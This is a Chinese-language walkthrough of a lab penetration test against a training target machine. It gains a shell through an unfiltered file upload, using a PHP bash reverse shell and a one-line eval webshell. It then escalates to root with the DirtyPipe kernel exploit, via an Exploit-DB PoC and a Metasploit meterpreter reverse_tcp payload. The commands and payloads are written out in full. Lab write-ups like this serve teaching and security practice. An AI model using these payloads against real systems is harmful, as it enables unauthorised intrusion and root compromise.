目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:linux 5.10(192.168.202.147)
2、使用工具/软件
Kali:arp-scan(主机探测),nmap(扫描端口和服务),gobuster(目录扫描),Burp suite(抓包修改文件上传地址),nc(反弹shell连接),中国蚁剑(webshell连接),python3(开启http服务,下载poc到靶机),msf(对靶机进行监听,getshell,利用漏洞提权),msfvenom(生成msf反连的payload)
二、测试目的
渗透靶机,通过文件上传功能getshell(通过nc和webshell两种方法),利用dirtypipe漏洞提取root权限(通过kali的poc和msf两种方法)。
三、操作过程
1、信息搜集
Arp探测主机,又快又准
bash
arp-scan -l

Nmap扫描主机的端口和服务
bash
nmap -A -p- -sS -T4 192.168.202.147

看一下网页,80端口是web页面;81端口是一个登录框


用gobuster对80端口进行扫描
bash
gobuster dir -u http://192.168.202.147 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,html,txt,jsp

扫到了robots.txt目录,查看发现没有信息,让我继续找,扩大字典试试

bash
gobuster dir -u http://192.168.202.147 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,jsp
这次使用更大的字典来遍历,这次扫出了graffiti.txt graffiti.php

查看graffiti.txt,只有些文字,不过graffiti.php就丰富多了

graffiti.php有提交框,抓包看看这是什么框

抓包,发现有message和file两个参数,改一下file的地址看能否文件上传

改为1.php,发现有php文件上传成功了

2、Getshell
有文件上传的漏洞,尝试上传php文件,进行nc反弹连接和webshell上传两种方法皆可。
①nc反弹shell连接
php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>
上传到文件getshell.php

Kali进行监听
bash
nc -lvvp 666
web访问getshell.php
进行反弹shell连接
成功getshell

②Webshell上传
上传php一句话木马
bash
<?php @eval($_POST['ccc']); ?>
抓包修改文件名为webshell.php,放包

使用蚁剑进行webshell连接
url地址:http://192.168.202.147/webshell.php
连接密码:ccc
成功连接!

在根目录下发现一个FLAG.txt,但是root文件夹进不去,权限不足,尝试提权

提示一个图片文件,但是没什么信息

3、提权
查看计划任务、权限、系统版本信息,发现Linux版本是5.10,这个版本有dirtypipe漏洞可利用

①使用kali自带的poc
搜索dirtypipe漏洞
bash
searchsploit dirtypipe

查看路径,将poc文件复制到本目录下
bash
locate linux/local/50808.c
cp /usr/share/exploitdb/exploits/linux/local/50808.c 50808.c

Kali使用python开启http服务,靶机下载poc


编译poc
bash
gcc 50808.c -o shell
-o 指定编译后的文件名
尝试运行发现需要suid文件

找一下suid文件

现在运行exp
bash
./shell /usr/bin/sudo
成功提权

②使用msf进行渗透
查找dirtypipe漏洞,查看参数,发现需要设置session
bash
search dirtypipe
use 0
show options

生成session
Msfvenom是msf用来生成payload的工具,使用msfvenom生成反向连接payloads
bash
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.202.134 lport=4444 -f elf >~/test.elf
-p 指定payload(不确定靶机是x86/还是x64,可以生成32位payload,64位处理器兼容32位)
lhost kali IP
lport kali 端口
-f 指定生成文件类型
~/test.elf 是在本机的路径

攻击机使用python3开启http服务
在靶机下载test.elf文件

攻击机的msf使用监听模块
bash
use exploit/multi/handler
设置payload
bash
set payload linux/x86/meterpreter/reverse_tcp
设置地址参数(本机地址)
bash
set lhost 192.168.202.134
设置端口参数(接收端口,与payload中一致)
bash
set lport 4444
运行
bash
run

靶机给payload执行权限并执行
bash
chmod +x test.elf
./test.elf

可以获取到meterpreter

后台运行,生成session ID
bash
bachground

现在利用exp

设置session和Payload option(LHOST)
bash
set session 1
set lhost 192.168.202.134

运行即可获取root权限

四、结论
对文件上传点,一定要进行严格的过滤,没有过滤就很容易getshell。进行目录扫描的字典很重要,字典不对就扫不到网址,字典尽量多跑些。对于linux内核版本5.8~5.16,可以使用dirtypipe漏洞进行提权,由于是内核漏洞,因此危害极大,很难防护。